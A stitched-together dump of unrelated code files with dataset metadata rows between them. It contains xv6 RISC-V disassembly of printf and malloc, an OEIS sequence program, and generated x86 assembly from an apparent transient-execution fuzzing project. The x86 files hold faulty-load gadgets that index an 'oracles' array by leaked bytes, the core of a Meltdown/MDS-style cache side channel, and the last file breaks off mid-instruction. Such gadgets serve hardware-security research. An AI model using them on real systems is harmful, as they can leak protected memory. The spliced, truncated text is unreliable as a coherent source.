4d4: f466 sd s9,40(sp) 4d6: f06a sd s10,32(sp) 4d8: ec6e sd s11,24(sp) 4da: 0100 addi s0,sp,128 char *s; int c, i, state; state = 0; for(i = 0; fmt[i]; i++){ 4dc: 0005c903 lbu s2,0(a1) 4e0: 18090f63 beqz s2,67e <vprintf+0x1c0> 4e4: 8aaa mv s5,a0 4e6: 8b32 mv s6,a2 4e8: 00158493 addi s1,a1,1 state = 0; 4ec: 4981 li s3,0 if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 4ee: 02500a13 li s4,37 if(c == 'd'){ 4f2: 06400c13 li s8,100 printint(fd, va_arg(ap, int), 10, 1); } else if(c == 'l') { 4f6: 06c00c93 li s9,108 printint(fd, va_arg(ap, uint64), 10, 0); } else if(c == 'x') { 4fa: 07800d13 li s10,120 printint(fd, va_arg(ap, int), 16, 0); } else if(c == 'p') { 4fe: 07000d93 li s11,112 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 502: 00000b97 auipc s7,0x0 506: 3aeb8b93 addi s7,s7,942 # 8b0 <digits> 50a: a839 j 528 <vprintf+0x6a> putc(fd, c); 50c: 85ca mv a1,s2 50e: 8556 mv a0,s5 510: 00000097 auipc ra,0x0 514: ee2080e7 jalr -286(ra) # 3f2 <putc> 518: a019 j 51e <vprintf+0x60> } else if(state == '%'){ 51a: 01498f63 beq s3,s4,538 <vprintf+0x7a> for(i = 0; fmt[i]; i++){ 51e: 0485 addi s1,s1,1 520: fff4c903 lbu s2,-1(s1) 524: 14090d63 beqz s2,67e <vprintf+0x1c0> c = fmt[i] & 0xff; 528: 0009079b sext.w a5,s2 if(state == 0){ 52c: fe0997e3 bnez s3,51a <vprintf+0x5c> if(c == '%'){ 530: fd479ee3 bne a5,s4,50c <vprintf+0x4e> state = '%'; 534: 89be mv s3,a5 536: b7e5 j 51e <vprintf+0x60> if(c == 'd'){ 538: 05878063 beq a5,s8,578 <vprintf+0xba> } else if(c == 'l') { 53c: 05978c63 beq a5,s9,594 <vprintf+0xd6> } else if(c == 'x') { 540: 07a78863 beq a5,s10,5b0 <vprintf+0xf2> } else if(c == 'p') { 544: 09b78463 beq a5,s11,5cc <vprintf+0x10e> printptr(fd, va_arg(ap, uint64)); } else if(c == 's'){ 548: 07300713 li a4,115 54c: 0ce78663 beq a5,a4,618 <vprintf+0x15a> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 550: 06300713 li a4,99 554: 0ee78e63 beq a5,a4,650 <vprintf+0x192> putc(fd, va_arg(ap, uint)); } else if(c == '%'){ 558: 11478863 beq a5,s4,668 <vprintf+0x1aa> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 55c: 85d2 mv a1,s4 55e: 8556 mv a0,s5 560: 00000097 auipc ra,0x0 564: e92080e7 jalr -366(ra) # 3f2 <putc> putc(fd, c); 568: 85ca mv a1,s2 56a: 8556 mv a0,s5 56c: 00000097 auipc ra,0x0 570: e86080e7 jalr -378(ra) # 3f2 <putc> } state = 0; 574: 4981 li s3,0 576: b765 j 51e <vprintf+0x60> printint(fd, va_arg(ap, int), 10, 1); 578: 008b0913 addi s2,s6,8 57c: 4685 li a3,1 57e: 4629 li a2,10 580: 000b2583 lw a1,0(s6) 584: 8556 mv a0,s5 586: 00000097 auipc ra,0x0 58a: e8e080e7 jalr -370(ra) # 414 <printint> 58e: 8b4a mv s6,s2 state = 0; 590: 4981 li s3,0 592: b771 j 51e <vprintf+0x60> printint(fd, va_arg(ap, uint64), 10, 0); 594: 008b0913 addi s2,s6,8 598: 4681 li a3,0 59a: 4629 li a2,10 59c: 000b2583 lw a1,0(s6) 5a0: 8556 mv a0,s5 5a2: 00000097 auipc ra,0x0 5a6: e72080e7 jalr -398(ra) # 414 <printint> 5aa: 8b4a mv s6,s2 state = 0; 5ac: 4981 li s3,0 5ae: bf85 j 51e <vprintf+0x60> printint(fd, va_arg(ap, int), 16, 0); 5b0: 008b0913 addi s2,s6,8 5b4: 4681 li a3,0 5b6: 4641 li a2,16 5b8: 000b2583 lw a1,0(s6) 5bc: 8556 mv a0,s5 5be: 00000097 auipc ra,0x0 5c2: e56080e7 jalr -426(ra) # 414 <printint> 5c6: 8b4a mv s6,s2 state = 0; 5c8: 4981 li s3,0 5ca: bf91 j 51e <vprintf+0x60> printptr(fd, va_arg(ap, uint64)); 5cc: 008b0793 addi a5,s6,8 5d0: f8f43423 sd a5,-120(s0) 5d4: 000b3983 ld s3,0(s6) putc(fd, '0'); 5d8: 03000593 li a1,48 5dc: 8556 mv a0,s5 5de: 00000097 auipc ra,0x0 5e2: e14080e7 jalr -492(ra) # 3f2 <putc> putc(fd, 'x'); 5e6: 85ea mv a1,s10 5e8: 8556 mv a0,s5 5ea: 00000097 auipc ra,0x0 5ee: e08080e7 jalr -504(ra) # 3f2 <putc> 5f2: 4941 li s2,16 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 5f4: 03c9d793 srli a5,s3,0x3c 5f8: 97de add a5,a5,s7 5fa: 0007c583 lbu a1,0(a5) 5fe: 8556 mv a0,s5 600: 00000097 auipc ra,0x0 604: df2080e7 jalr -526(ra) # 3f2 <putc> for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4) 608: 0992 slli s3,s3,0x4 60a: 397d addiw s2,s2,-1 60c: fe0914e3 bnez s2,5f4 <vprintf+0x136> printptr(fd, va_arg(ap, uint64)); 610: f8843b03 ld s6,-120(s0) state = 0; 614: 4981 li s3,0 616: b721 j 51e <vprintf+0x60> s = va_arg(ap, char*); 618: 008b0993 addi s3,s6,8 61c: 000b3903 ld s2,0(s6) if(s == 0) 620: 02090163 beqz s2,642 <vprintf+0x184> while(*s != 0){ 624: 00094583 lbu a1,0(s2) 628: c9a1 beqz a1,678 <vprintf+0x1ba> putc(fd, *s); 62a: 8556 mv a0,s5 62c: 00000097 auipc ra,0x0 630: dc6080e7 jalr -570(ra) # 3f2 <putc> s++; 634: 0905 addi s2,s2,1 while(*s != 0){ 636: 00094583 lbu a1,0(s2) 63a: f9e5 bnez a1,62a <vprintf+0x16c> s = va_arg(ap, char*); 63c: 8b4e mv s6,s3 state = 0; 63e: 4981 li s3,0 640: bdf9 j 51e <vprintf+0x60> s = "(null)"; 642: 00000917 auipc s2,0x0 646: 26690913 addi s2,s2,614 # 8a8 <malloc+0x120> while(*s != 0){ 64a: 02800593 li a1,40 64e: bff1 j 62a <vprintf+0x16c> putc(fd, va_arg(ap, uint)); 650: 008b0913 addi s2,s6,8 654: 000b4583 lbu a1,0(s6) 658: 8556 mv a0,s5 65a: 00000097 auipc ra,0x0 65e: d98080e7 jalr -616(ra) # 3f2 <putc> 662: 8b4a mv s6,s2 state = 0; 664: 4981 li s3,0 666: bd65 j 51e <vprintf+0x60> putc(fd, c); 668: 85d2 mv a1,s4 66a: 8556 mv a0,s5 66c: 00000097 auipc ra,0x0 670: d86080e7 jalr -634(ra) # 3f2 <putc> state = 0; 674: 4981 li s3,0 676: b565 j 51e <vprintf+0x60> s = va_arg(ap, char*); 678: 8b4e mv s6,s3 state = 0; 67a: 4981 li s3,0 67c: b54d j 51e <vprintf+0x60> } } } 67e: 70e6 ld ra,120(sp) 680: 7446 ld s0,112(sp) 682: 74a6 ld s1,104(sp) 684: 7906 ld s2,96(sp) 686: 69e6 ld s3,88(sp) 688: 6a46 ld s4,80(sp) 68a: 6aa6 ld s5,72(sp) 68c: 6b06 ld s6,64(sp) 68e: 7be2 ld s7,56(sp) 690: 7c42 ld s8,48(sp) 692: 7ca2 ld s9,40(sp) 694: 7d02 ld s10,32(sp) 696: 6de2 ld s11,24(sp) 698: 6109 addi sp,sp,128 69a: 8082 ret 000000000000069c <fprintf>: void fprintf(int fd, const char *fmt, ...) { 69c: 715d addi sp,sp,-80 69e: ec06 sd ra,24(sp) 6a0: e822 sd s0,16(sp) 6a2: 1000 addi s0,sp,32 6a4: e010 sd a2,0(s0) 6a6: e414 sd a3,8(s0) 6a8: e818 sd a4,16(s0) 6aa: ec1c sd a5,24(s0) 6ac: 03043023 sd a6,32(s0) 6b0: 03143423 sd a7,40(s0) va_list ap; va_start(ap, fmt); 6b4: fe843423 sd s0,-24(s0) vprintf(fd, fmt, ap); 6b8: 8622 mv a2,s0 6ba: 00000097 auipc ra,0x0 6be: e04080e7 jalr -508(ra) # 4be <vprintf> } 6c2: 60e2 ld ra,24(sp) 6c4: 6442 ld s0,16(sp) 6c6: 6161 addi sp,sp,80 6c8: 8082 ret 00000000000006ca <printf>: void printf(const char *fmt, ...) { 6ca: 711d addi sp,sp,-96 6cc: ec06 sd ra,24(sp) 6ce: e822 sd s0,16(sp) 6d0: 1000 addi s0,sp,32 6d2: e40c sd a1,8(s0) 6d4: e810 sd a2,16(s0) 6d6: ec14 sd a3,24(s0) 6d8: f018 sd a4,32(s0) 6da: f41c sd a5,40(s0) 6dc: 03043823 sd a6,48(s0) 6e0: 03143c23 sd a7,56(s0) va_list ap; va_start(ap, fmt); 6e4: 00840613 addi a2,s0,8 6e8: fec43423 sd a2,-24(s0) vprintf(1, fmt, ap); 6ec: 85aa mv a1,a0 6ee: 4505 li a0,1 6f0: 00000097 auipc ra,0x0 6f4: dce080e7 jalr -562(ra) # 4be <vprintf> } 6f8: 60e2 ld ra,24(sp) 6fa: 6442 ld s0,16(sp) 6fc: 6125 addi sp,sp,96 6fe: 8082 ret 0000000000000700 <free>: static Header base; static Header *freep; void free(void *ap) { 700: 1141 addi sp,sp,-16 702: e422 sd s0,8(sp) 704: 0800 addi s0,sp,16 Header *bp, *p; bp = (Header*)ap - 1; 706: ff050693 addi a3,a0,-16 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 70a: 00000797 auipc a5,0x0 70e: 1be7b783 ld a5,446(a5) # 8c8 <freep> 712: a805 j 742 <free+0x42> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 714: 4618 lw a4,8(a2) 716: 9db9 addw a1,a1,a4 718: feb52c23 sw a1,-8(a0) bp->s.ptr = p->s.ptr->s.ptr; 71c: 6398 ld a4,0(a5) 71e: 6318 ld a4,0(a4) 720: fee53823 sd a4,-16(a0) 724: a091 j 768 <free+0x68> } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 726: ff852703 lw a4,-8(a0) 72a: 9e39 addw a2,a2,a4 72c: c790 sw a2,8(a5) p->s.ptr = bp->s.ptr; 72e: ff053703 ld a4,-16(a0) 732: e398 sd a4,0(a5) 734: a099 j 77a <free+0x7a> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 736: 6398 ld a4,0(a5) 738: 00e7e463 bltu a5,a4,740 <free+0x40> 73c: 00e6ea63 bltu a3,a4,750 <free+0x50> { 740: 87ba mv a5,a4 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 742: fed7fae3 bgeu a5,a3,736 <free+0x36> 746: 6398 ld a4,0(a5) 748: 00e6e463 bltu a3,a4,750 <free+0x50> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 74c: fee7eae3 bltu a5,a4,740 <free+0x40> if(bp + bp->s.size == p->s.ptr){ 750: ff852583 lw a1,-8(a0) 754: 6390 ld a2,0(a5) 756: 02059813 slli a6,a1,0x20 75a: 01c85713 srli a4,a6,0x1c 75e: 9736 add a4,a4,a3 760: fae60ae3 beq a2,a4,714 <free+0x14> bp->s.ptr = p->s.ptr; 764: fec53823 sd a2,-16(a0) if(p + p->s.size == bp){ 768: 4790 lw a2,8(a5) 76a: 02061593 slli a1,a2,0x20 76e: 01c5d713 srli a4,a1,0x1c 772: 973e add a4,a4,a5 774: fae689e3 beq a3,a4,726 <free+0x26> } else p->s.ptr = bp; 778: e394 sd a3,0(a5) freep = p; 77a: 00000717 auipc a4,0x0 77e: 14f73723 sd a5,334(a4) # 8c8 <freep> } 782: 6422 ld s0,8(sp) 784: 0141 addi sp,sp,16 786: 8082 ret 0000000000000788 <malloc>: return freep; } void* malloc(uint nbytes) { 788: 7139 addi sp,sp,-64 78a: fc06 sd ra,56(sp) 78c: f822 sd s0,48(sp) 78e: f426 sd s1,40(sp) 790: f04a sd s2,32(sp) 792: ec4e sd s3,24(sp) 794: e852 sd s4,16(sp) 796: e456 sd s5,8(sp) 798: e05a sd s6,0(sp) 79a: 0080 addi s0,sp,64 Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 79c: 02051493 slli s1,a0,0x20 7a0: 9081 srli s1,s1,0x20 7a2: 04bd addi s1,s1,15 7a4: 8091 srli s1,s1,0x4 7a6: 0014899b addiw s3,s1,1 7aa: 0485 addi s1,s1,1 if((prevp = freep) == 0){ 7ac: 00000517 auipc a0,0x0 7b0: 11c53503 ld a0,284(a0) # 8c8 <freep> 7b4: c515 beqz a0,7e0 <malloc+0x58> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7b6: 611c ld a5,0(a0) if(p->s.size >= nunits){ 7b8: 4798 lw a4,8(a5) 7ba: 02977f63 bgeu a4,s1,7f8 <malloc+0x70> 7be: 8a4e mv s4,s3 7c0: 0009871b sext.w a4,s3 7c4: 6685 lui a3,0x1 7c6: 00d77363 bgeu a4,a3,7cc <malloc+0x44> 7ca: 6a05 lui s4,0x1 7cc: 000a0b1b sext.w s6,s4 p = sbrk(nu * sizeof(Header)); 7d0: 004a1a1b slliw s4,s4,0x4 p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 7d4: 00000917 auipc s2,0x0 7d8: 0f490913 addi s2,s2,244 # 8c8 <freep> if(p == (char*)-1) 7dc: 5afd li s5,-1 7de: a895 j 852 <malloc+0xca> base.s.ptr = freep = prevp = &base; 7e0: 00000797 auipc a5,0x0 7e4: 0f078793 addi a5,a5,240 # 8d0 <base> 7e8: 00000717 auipc a4,0x0 7ec: 0ef73023 sd a5,224(a4) # 8c8 <freep> 7f0: e39c sd a5,0(a5) base.s.size = 0; 7f2: 0007a423 sw zero,8(a5) if(p->s.size >= nunits){ 7f6: b7e1 j 7be <malloc+0x36> if(p->s.size == nunits) 7f8: 02e48c63 beq s1,a4,830 <malloc+0xa8> p->s.size -= nunits; 7fc: 4137073b subw a4,a4,s3 800: c798 sw a4,8(a5) p += p->s.size; 802: 02071693 slli a3,a4,0x20 806: 01c6d713 srli a4,a3,0x1c 80a: 97ba add a5,a5,a4 p->s.size = nunits; 80c: 0137a423 sw s3,8(a5) freep = prevp; 810: 00000717 auipc a4,0x0 814: 0aa73c23 sd a0,184(a4) # 8c8 <freep> return (void*)(p + 1); 818: 01078513 addi a0,a5,16 if((p = morecore(nunits)) == 0) return 0; } } 81c: 70e2 ld ra,56(sp) 81e: 7442 ld s0,48(sp) 820: 74a2 ld s1,40(sp) 822: 7902 ld s2,32(sp) 824: 69e2 ld s3,24(sp) 826: 6a42 ld s4,16(sp) 828: 6aa2 ld s5,8(sp) 82a: 6b02 ld s6,0(sp) 82c: 6121 addi sp,sp,64 82e: 8082 ret prevp->s.ptr = p->s.ptr; 830: 6398 ld a4,0(a5) 832: e118 sd a4,0(a0) 834: bff1 j 810 <malloc+0x88> hp->s.size = nu; 836: 01652423 sw s6,8(a0) free((void*)(hp + 1)); 83a: 0541 addi a0,a0,16 83c: 00000097 auipc ra,0x0 840: ec4080e7 jalr -316(ra) # 700 <free> return freep; 844: 00093503 ld a0,0(s2) if((p = morecore(nunits)) == 0) 848: d971 beqz a0,81c <malloc+0x94> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 84a: 611c ld a5,0(a0) if(p->s.size >= nunits){ 84c: 4798 lw a4,8(a5) 84e: fa9775e3 bgeu a4,s1,7f8 <malloc+0x70> if(p == freep) 852: 00093703 ld a4,0(s2) 856: 853e mv a0,a5 858: fef719e3 bne a4,a5,84a <malloc+0xc2> p = sbrk(nu * sizeof(Header)); 85c: 8552 mv a0,s4 85e: 00000097 auipc ra,0x0 862: b6c080e7 jalr -1172(ra) # 3ca <sbrk> if(p == (char*)-1) 866: fd5518e3 bne a0,s5,836 <malloc+0xae> return 0; 86a: 4501 li a0,0 86c: bf45 j 81c <malloc+0x94>
29.670175
64
0.462867
ffaf106d06874b80c3f11a7f1654e20c959bd00e
6,639
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_752.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_752.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0xca.log_21829_752.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x1582d, %rcx and $29440, %rbp mov (%rcx), %edx nop nop nop nop inc %rbp lea addresses_WT_ht+0x1d3ed, %rsi lea addresses_WC_ht+0x6c0d, %rdi nop nop nop nop and %r11, %r11 mov $105, %rcx rep movsq nop nop nop nop nop and %rdi, %rdi lea addresses_A_ht+0x242d, %rcx nop add %rbx, %rbx mov $0x6162636465666768, %rdx movq %rdx, (%rcx) nop add $8435, %rbp lea addresses_D_ht+0x1bbcd, %rcx dec %rsi vmovups (%rcx), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rbx nop dec %rbx lea addresses_normal_ht+0x1682d, %rdi nop nop add %r11, %r11 movb (%rdi), %dl sub %rdx, %rdx lea addresses_WC_ht+0x14f8d, %rsi lea addresses_normal_ht+0x932d, %rdi nop nop nop add $17955, %rbx mov $53, %rcx rep movsq nop nop nop nop inc %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r9 push %rax push %rdx push %rsi // Store lea addresses_PSE+0x52d, %r12 nop nop nop sub %r11, %r11 movw $0x5152, (%r12) nop nop and $64946, %rdx // Store lea addresses_WC+0x342d, %r14 nop nop nop nop cmp %rax, %rax mov $0x5152535455565758, %rdx movq %rdx, (%r14) nop add $46940, %r12 // Store lea addresses_normal+0xe02d, %rsi nop nop nop cmp %r11, %r11 mov $0x5152535455565758, %r14 movq %r14, %xmm2 vmovups %ymm2, (%rsi) nop nop nop nop nop cmp %r12, %r12 // Store mov $0x62d, %rdx clflush (%rdx) nop nop cmp $5877, %r11 movl $0x51525354, (%rdx) inc %rax // Load lea addresses_WT+0x1fc2d, %r12 nop nop xor %rsi, %rsi movb (%r12), %dl nop nop cmp %r12, %r12 // Faulty Load lea addresses_normal+0xe02d, %r14 nop sub %rdx, %rdx mov (%r14), %rax lea oracles, %r12 and $0xff, %rax shlq $12, %rax mov (%r12,%rax,1), %rax pop %rsi pop %rdx pop %rax pop %r9 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_PSE'}} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_normal'}} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_P'}} {'src': {'congruent': 9, 'AVXalign': True, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 8, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
36.478022
2,999
0.654767
cc177ee66465868462087735c298f8f4d608ed9d
632
asm
Assembly
programs/oeis/268/A268643.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/268/A268643.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/268/A268643.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A268643: Number of 1's in decimal representation of n. ; 0,1,0,0,0,0,0,0,0,0,1,2,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,2,1,1,1,1,1,1,1,1,2,3,2,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,2,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0 lpb $0,1 mov $2,$0 div $0,10 mod $2,10 cmp $2,1 add $1,$2 lpe
57.454545
501
0.518987
f7fa2c9de269d7cfc8e728b8134f30134f9a25a7
6,140
asm
Assembly
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_21829_3019.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_21829_3019.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/US/_zr_/i3-7100_9_0x84_notsx.log_21829_3019.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %r8 push %rbp push %rbx push %rcx lea addresses_normal_ht+0x1b55b, %rcx nop nop nop nop nop sub $42646, %r11 mov $0x6162636465666768, %rbp movq %rbp, %xmm5 movups %xmm5, (%rcx) nop nop nop nop inc %r12 lea addresses_D_ht+0x4593, %r8 nop nop nop nop xor $39242, %r11 mov (%r8), %r12 sub %rcx, %rcx lea addresses_A_ht+0x3a5b, %rbx nop sub %r15, %r15 movb (%rbx), %r8b dec %r8 lea addresses_A_ht+0x19fb3, %rbx nop nop nop nop and $48444, %rbp mov $0x6162636465666768, %rcx movq %rcx, (%rbx) nop nop nop nop cmp %r11, %r11 lea addresses_normal_ht+0x147db, %r12 nop nop nop sub %rbx, %rbx vmovups (%r12), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %rbp dec %r11 pop %rcx pop %rbx pop %rbp pop %r8 pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r14 push %rbx push %rcx push %rdi // Store lea addresses_WT+0x3593, %rcx nop and %r13, %r13 mov $0x5152535455565758, %r12 movq %r12, %xmm6 movups %xmm6, (%rcx) nop and %rbx, %rbx // Load lea addresses_US+0xafd3, %rdi nop nop nop nop add $17011, %rcx vmovups (%rdi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %r12 dec %rcx // Store lea addresses_PSE+0x15193, %rbx clflush (%rbx) nop sub %r12, %r12 movw $0x5152, (%rbx) nop nop nop add %rbx, %rbx // Store lea addresses_US+0x5193, %r13 cmp %r14, %r14 movl $0x51525354, (%r13) nop cmp %rcx, %rcx // Faulty Load lea addresses_US+0x1c993, %r12 nop nop nop nop nop and 